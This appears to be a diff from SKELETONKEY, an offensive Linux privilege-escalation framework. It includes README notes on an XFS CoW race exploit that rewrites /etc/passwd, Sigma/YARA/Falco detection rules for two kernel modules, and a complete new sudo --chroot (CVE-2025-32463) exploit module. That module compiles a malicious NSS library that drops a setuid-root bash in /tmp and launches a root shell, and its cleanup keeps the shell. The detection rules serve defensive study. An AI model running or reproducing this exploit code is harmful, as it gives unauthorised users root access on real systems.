reuses no exploitation code; it never targets a file it does not own.
|
||||
- **Introduced** in **4.11** (2017-02) by commit `3c68d44a2b49` ("xfs: allocate
|
||||
direct I/O COW blocks in iomap_begin").
|
||||
- **Fixed upstream** by commit
|
||||
`2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7` ("xfs: resample the data fork
|
||||
mapping after cycling ILOCK"), merged **2026-07-16** for **7.2-rc4**; stable
|
||||
backports **7.1.4** (`e705d81a7193`), **6.18.39** (`206c09b04dc5`) and
|
||||
**6.12.96** (`44f891bc0889`).
|
||||
- Authoritative version data: the Linux kernel CNA record
|
||||
(<https://cveawg.mitre.org/api/cve/CVE-2026-64600>,
|
||||
`git.kernel.org/stable/c/<hash>`). The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 /
|
||||
4.18 LTS lines are affected with no upstream stable fix published at time of
|
||||
writing; RHEL-family, Oracle UEK and Amazon vendor branches backport the fix
|
||||
**without bumping the upstream base version**, so the vendor erratum
|
||||
(RHSA / ELSA / ALSA / RLSA) — not `uname -r` — is authoritative there.
|
||||
|
||||
All credit for finding, analysing and exploiting this bug belongs to the Qualys
|
||||
Threat Research Unit and to the upstream XFS maintainers who fixed it.
|
||||
SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||
end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 /
|
||||
`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS
|
||||
with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain`
|
||||
reflink-clones `/etc/passwd`, races the CoW window, strips root's password field
|
||||
on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty
|
||||
password) then gives uid 0 — verified **3/3 wins** on a private-extent target
|
||||
(1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged `uid=1000` under SELinux
|
||||
Enforcing, with every other passwd line preserved and the file backed up +
|
||||
restorable. A key exploitability constraint surfaced in testing (not in the
|
||||
public writeup): the target's extent must be **private** going in — an
|
||||
already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable
|
||||
via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the
|
||||
exploitable private-extent state. Without `--full-chain` the module runs a safe
|
||||
own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven
|
||||
so a non-win is never read as "patched". See `MODULE.md` for the full result
|
||||
tables. This is the corpus's first XFS
|
||||
module and its first **data-oriented** kernel bug — every other kernel entry
|
||||
corrupts memory; this one corrupts file contents.
|
||||
|
||||
`detect()` is a kernel-version gate over the three-branch backport table
|
||||
(7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; introduced 4.11) **plus a
|
||||
real precondition probe**: a writable directory on a mounted XFS filesystem,
|
||||
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` rather than by a working
|
||||
`FICLONE`, since btrfs implements `FICLONE` too and is unaffected. Under
|
||||
`--active` it confirms `reflink=1` empirically. Override with
|
||||
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it explicitly warns
|
||||
that the upstream-version verdict cannot see a vendor backport.
|
||||
|
||||
`exploit()` forks an isolated child that works only inside a private `mkdtemp`
|
||||
scratch directory, on two files it owns: it confirms a shared extent via
|
||||
`FIEMAP_EXTENT_SHARED` (a safe, read-only observation of the refcount state the
|
||||
bug misjudges), then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2 s
|
||||
window and stops, reading the donor back with `O_DIRECT` to report divergence
|
||||
honestly.
|
||||
|
||||
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
||||
helpers) and **never clones or targets a file it does not own**. The escalation
|
||||
step — reflink-cloning a root-owned file such as `/etc/passwd` and racing writes
|
||||
onto its shared blocks, then `su` — persistently rewrites a system file on disk
|
||||
with no undo, and is documented in `MODULE.md` but **not bundled**. It always
|
||||
returns `EXPLOIT_FAIL` and never claims root it did not get.
|
||||
|
||||
Unlike the corpus's other reconstructed race triggers, a won race here cannot
|
||||
touch kernel memory: there is no oops, no KASAN report and no panic risk, and
|
||||
the blast radius is 4 KiB of our own scratch file. That is why it ranks **55**
|
||||
in `--auto` safety rather than at the bottom alongside `bad_epoll` (12) and
|
||||
`ghostlock` (11).
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* refluxfs_cve_2026_64600 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef REFLUXFS_SKELETONKEY_MODULES_H
|
||||
#define REFLUXFS_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module refluxfs_module;
|
||||
|
||||
#endif
|
||||
@@ -127,7 +127,7 @@
|
||||
|
||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||
{5, 4, 134},
|
||||
{5, 10, 52},
|
||||
{5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
|
||||
{5, 13, 4},
|
||||
{5, 14, 0}, /* mainline */
|
||||
};
|
||||
@@ -686,6 +686,57 @@ static const char sequoia_auditd[] =
|
||||
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
|
||||
"# the canonical trigger shape.\n";
|
||||
|
||||
static const char sequoia_sigma[] =
|
||||
"title: Possible CVE-2021-33909 seq_file size_t-int wrap\n"
|
||||
"id: 2b13d4b9-skeletonkey-sequoia\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the seq_file OOB-write trigger pattern: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + a burst of ~5000 mkdir/mkdirat\n"
|
||||
" syscalls + bind-mount + read(/proc/self/mountinfo). The\n"
|
||||
" rendered string exceeds INT_MAX, wrapping to negative.\n"
|
||||
" False positives: unusual; bursts of >1000 mkdir/s are rare in\n"
|
||||
" normal workloads.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" mkdir: {type: 'SYSCALL', syscall: 'mkdir'}\n"
|
||||
" bind: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" condition: userns and mkdir and bind\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.33909]\n";
|
||||
|
||||
static const char sequoia_yara[] =
|
||||
"rule sequoia_cve_2021_33909 : cve_2021_33909 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-33909\"\n"
|
||||
" description = \"Sequoia deep-mountpoint workdir + log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = \"/tmp/skeletonkey-sequoia\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-sequoia.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sequoia_falco[] =
|
||||
"- rule: Deeply nested mkdir burst + /proc/self/mountinfo read (Sequoia)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process reading /proc/self/mountinfo after a burst\n"
|
||||
" of ~5000 mkdir()s and a bind-mount of the deep leaf. The\n"
|
||||
" rendered mountinfo string exceeds INT_MAX. CVE-2021-33909.\n"
|
||||
" False positives: rare; mkdir bursts of this size are not\n"
|
||||
" seen in normal workloads.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = open and fd.name = /proc/self/mountinfo and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" /proc/self/mountinfo read by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.33909]\n";
|
||||
|
||||
const struct skeletonkey_module sequoia_module = {
|
||||
.name = "sequoia",
|
||||
.cve = "CVE-2021-33909",
|
||||
@@ -697,9 +748,11 @@ const struct skeletonkey_module sequoia_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = sequoia_cleanup,
|
||||
.detect_auditd = sequoia_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = sequoia_sigma,
|
||||
.detect_yara = sequoia_yara,
|
||||
.detect_falco = sequoia_falco,
|
||||
.opsec_notes = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sequoia(void)
|
||||
|
||||
@@ -952,6 +952,53 @@ static const char stackrot_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
|
||||
|
||||
static const char stackrot_sigma[] =
|
||||
"title: Possible CVE-2023-3269 maple-tree VMA-split UAF\n"
|
||||
"id: 3c24e5ca-skeletonkey-stackrot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the StackRot race-groom: unshare(CLONE_NEWUSER) + tight\n"
|
||||
" loops of mremap/munmap on MAP_GROWSDOWN regions + msg_msg\n"
|
||||
" spray (msgsnd) for kmalloc-192 grooming. False positives: JIT\n"
|
||||
" runtimes and aggressive memory allocators may do similar mremap\n"
|
||||
" bursts but typically without msg_msg grooming.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" vmas: {type: 'SYSCALL', syscall: 'mremap'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and vmas and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.3269]\n";
|
||||
|
||||
static const char stackrot_yara[] =
|
||||
"rule stackrot_cve_2023_3269 : cve_2023_3269 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-3269\"\n"
|
||||
" description = \"StackRot maple-tree UAF race log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-stackrot.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char stackrot_falco[] =
|
||||
"- rule: mremap/munmap race on MAP_GROWSDOWN regions (StackRot)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process driving high-frequency mremap/munmap on\n"
|
||||
" MAP_GROWSDOWN regions inside a userns + msg_msg (msgsnd)\n"
|
||||
" grooming of kmalloc-192. Maple-tree node UAF race in\n"
|
||||
" __vma_adjust. CVE-2023-3269.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (mremap, munmap) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" VMA mutation by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [memory, mitre_privilege_escalation, T1068, cve.2023.3269]\n";
|
||||
|
||||
const struct skeletonkey_module stackrot_module = {
|
||||
.name = "stackrot",
|
||||
.cve = "CVE-2023-3269",
|
||||
@@ -963,9 +1010,11 @@ const struct skeletonkey_module stackrot_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = stackrot_cleanup,
|
||||
.detect_auditd = stackrot_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = stackrot_sigma,
|
||||
.detect_yara = stackrot_yara,
|
||||
.detect_falco = stackrot_falco,
|
||||
.opsec_notes = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_stackrot(void)
|
||||
|
||||
@@ -0,0 +1,423 @@
|
||||
/*
|
||||
* sudo_chwoot_cve_2025_32463 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race.
|
||||
* Pure logic: sudo's --chroot option resolves NSS lookups (user/group
|
||||
* db) AGAINST the chroot, while still running as root. A user-writable
|
||||
* chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields
|
||||
* "load arbitrary shared object as root, ctor runs, root shell."
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale, June 2025):
|
||||
* `sudo --chroot=<DIR>` chroots into DIR before parsing sudoers and
|
||||
* resolving the invoking user. Inside the chroot, NSS reads
|
||||
* /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends.
|
||||
* The chroot is user-controlled. Plant:
|
||||
* <DIR>/etc/nsswitch.conf → "passwd: skeletonkey"
|
||||
* <DIR>/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so
|
||||
* sudo dlopen()s the .so as root; its ctor execs /bin/bash with the
|
||||
* real uid set to 0.
|
||||
*
|
||||
* Discovered by Rich Mirch (Stratascale CRU). Public PoCs:
|
||||
* https://github.com/kh4sh3i/CVE-2025-32463
|
||||
* https://github.com/MohamedKarrab/CVE-2025-32463
|
||||
*
|
||||
* Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the
|
||||
* modern chroot path; fixed in 1.9.17p1 which deprecated --chroot
|
||||
* entirely).
|
||||
*
|
||||
* CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot
|
||||
* code path runs before authorization checks complete. Any local user
|
||||
* who can run /usr/bin/sudo (i.e. anyone on the system) can fire it.
|
||||
*
|
||||
* arch_support: any. The malicious .so is built on-host via gcc, so
|
||||
* it inherits the host's arch. Tested on x86_64; arm64 should work
|
||||
* identically given a working gcc + libc-dev install.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- helpers shared with the sudo family ---------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is in the vulnerable range
|
||||
* [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the
|
||||
* --chroot code path entirely. */
|
||||
static bool sudo_version_vulnerable_chwoot(const char *version_str)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||
&maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
|
||||
if (maj != 1) return false; /* not sudo 1.x */
|
||||
if (min != 9) return false; /* only 1.9 line */
|
||||
if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */
|
||||
/* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */
|
||||
if (ptag != 'p') return true;
|
||||
return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Prefer the host fingerprint's cached sudo_version (one popen at
|
||||
* startup instead of per-detect). Fall back to live probe if the
|
||||
* host fingerprint is missing or empty. */
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_chwoot(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range "
|
||||
"[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid
|
||||
* /bin/bash. We DON'T setuid(0) directly because some distros refuse
|
||||
* execve() on a setuid bash from a non-elevated parent — using the
|
||||
* dropped suid bash via a follow-up execlp() is more portable. */
|
||||
static const char NSS_C_SRC[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <sys/stat.h>\n"
|
||||
"#include <sys/types.h>\n"
|
||||
"__attribute__((constructor)) static void skk_ctor(void) {\n"
|
||||
" /* We are running as the real user uid 0 (sudo set it during chroot\n"
|
||||
" * setup, before dropping privs). Drop a setuid /bin/bash. */\n"
|
||||
" setuid(0); setgid(0);\n"
|
||||
" int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n"
|
||||
" \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n"
|
||||
" \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n"
|
||||
" if (rc != 0) {\n"
|
||||
" fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n"
|
||||
" _exit(1);\n"
|
||||
" }\n"
|
||||
" fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n"
|
||||
" _exit(0);\n"
|
||||
"}\n";
|
||||
|
||||
static char g_workdir[256]; /* recorded for cleanup() */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* 1. Workdir under /tmp; /tmp is the only spot consistently
|
||||
* world-writable across distros. */
|
||||
char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX";
|
||||
char *wd = mkdtemp(tmpl);
|
||||
if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
strncpy(g_workdir, wd, sizeof g_workdir - 1);
|
||||
|
||||
/* 2. Set up the chroot skeleton: <wd>/etc/nsswitch.conf points NSS
|
||||
* at our libnss_skeletonkey.so.2; <wd>/<libdir> hosts the .so. */
|
||||
char path[512];
|
||||
snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755);
|
||||
snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755);
|
||||
/* Cover the common Debian/Ubuntu multi-arch lib path AND the plain
|
||||
* /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the
|
||||
* standard search path; inside the chroot we control it. */
|
||||
const char *libdirs[] = {
|
||||
"lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu",
|
||||
"usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu",
|
||||
"usr/lib", "usr/lib64", NULL,
|
||||
};
|
||||
char sopath[512] = {0};
|
||||
for (size_t i = 0; libdirs[i]; i++) {
|
||||
char p[512];
|
||||
snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]);
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "mkdir -p %s", p);
|
||||
if (system(cmd) != 0) continue;
|
||||
}
|
||||
|
||||
/* 3. Compile the malicious NSS .so. We need a real C compiler;
|
||||
* most modern distros ship one but stripped installs may not. */
|
||||
char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd);
|
||||
char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd);
|
||||
|
||||
FILE *f = fopen(src, "w");
|
||||
if (!f) { perror("fopen payload.c"); goto fail; }
|
||||
fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f);
|
||||
fclose(f);
|
||||
|
||||
char cmd[2048];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && "
|
||||
"cp -f %s %s 2>/dev/null; "
|
||||
"cp -f %s %s 2>/dev/null; true",
|
||||
sopath[0] ? sopath : so, src,
|
||||
sopath[0] ? sopath : so, so_arm,
|
||||
sopath[0] ? sopath : so, so_lib);
|
||||
/* Actually compile to one fixed path then copy. Simpler. */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src);
|
||||
if (system(cmd) != 0) {
|
||||
/* try arm64 path if x86 path failed (maybe the dir wasn't
|
||||
* created — that's fine, gcc just wrote elsewhere) */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src);
|
||||
if (system(cmd) != 0) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n");
|
||||
goto fail;
|
||||
}
|
||||
}
|
||||
/* Replicate to every plausible NSS search path (libdir per arch
|
||||
* varies across distros). Harmless if some are missing. */
|
||||
char rep[1024];
|
||||
snprintf(rep, sizeof rep,
|
||||
"f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do "
|
||||
" mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; "
|
||||
"done; true",
|
||||
so, wd, wd);
|
||||
if (system(rep) != 0) { /* harmless */ }
|
||||
|
||||
/* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo
|
||||
* does is on the invoking user — point passwd: at us so the
|
||||
* dlopen fires before sudoers parsing aborts. */
|
||||
char nss_conf[512];
|
||||
snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd);
|
||||
f = fopen(nss_conf, "w");
|
||||
if (!f) { perror("fopen nsswitch.conf"); goto fail; }
|
||||
fprintf(f,
|
||||
"# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n"
|
||||
"passwd: skeletonkey\n"
|
||||
"group: skeletonkey\n"
|
||||
"hosts: files\n"
|
||||
"shadow: files\n");
|
||||
fclose(f);
|
||||
|
||||
/* 5. Fire sudo --chroot=<wd> -u#-1 woot. The `-u#-1` syntax tells
|
||||
* sudo "user with uid -1" which forces the NSS lookup BEFORE
|
||||
* auth completes — that's the trigger. The `woot` command name
|
||||
* is arbitrary; sudo never gets to exec it. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n",
|
||||
sudo_path, wd);
|
||||
}
|
||||
fflush(NULL);
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
/* The ctor inside the .so will execve a shell; sudo never
|
||||
* returns. If sudo IS patched, it'll error out. */
|
||||
execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
_exit(127);
|
||||
}
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
/* 6. Did the suid bash drop? */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n");
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
/* Pop the shell. -p keeps euid=0; without it bash drops setuid. */
|
||||
execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL);
|
||||
perror("execl(suid bash)");
|
||||
return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n"
|
||||
" - NSS shim was loaded but ctor failed (check sudo's stderr)\n"
|
||||
" - kernel hardening prevents the suid copy\n");
|
||||
|
||||
fail:
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- cleanup -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir);
|
||||
(void)!system(cmd);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the
|
||||
* setuid root binary the operator may want to keep. They can
|
||||
* `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_chwoot_auditd[] =
|
||||
"# sudo_chwoot CVE-2025-32463 — auditd detection rules\n"
|
||||
"# Flag sudo invocations using --chroot. The legitimate use case\n"
|
||||
"# (server admin chrooting before running a command) is vanishingly\n"
|
||||
